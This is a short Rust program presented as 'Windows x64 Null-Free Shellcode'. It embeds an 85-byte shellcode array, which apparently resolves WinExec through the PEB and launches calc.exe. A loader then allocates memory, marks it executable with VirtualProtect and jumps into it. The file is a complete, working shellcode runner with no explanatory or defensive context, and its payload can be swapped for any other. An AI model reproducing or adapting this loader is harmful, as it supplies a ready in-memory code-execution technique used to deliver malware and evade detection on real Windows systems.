/*
    Windows x64 Null-Free Shellcode
*/

use std::ptr::null_mut;

use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};

fn main() -> std::io::Result<()> {
    let shellcode: [u8; 85] = [
        0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48,
        0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30,
        0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20,
        0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad,
        0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01,
        0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7,
    ];
    

    unsafe {
        let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);

        if mem.is_null() {
            return Err(std::io::Error::last_os_error());
        }

        std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());

        let mut old_protect = 0;
        let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);

        if result == 0 {
            return Err(std::io::Error::last_os_error());
        }

        let func: extern "C" fn() = std::mem::transmute(mem);
        func();
    }

    Ok(())
}
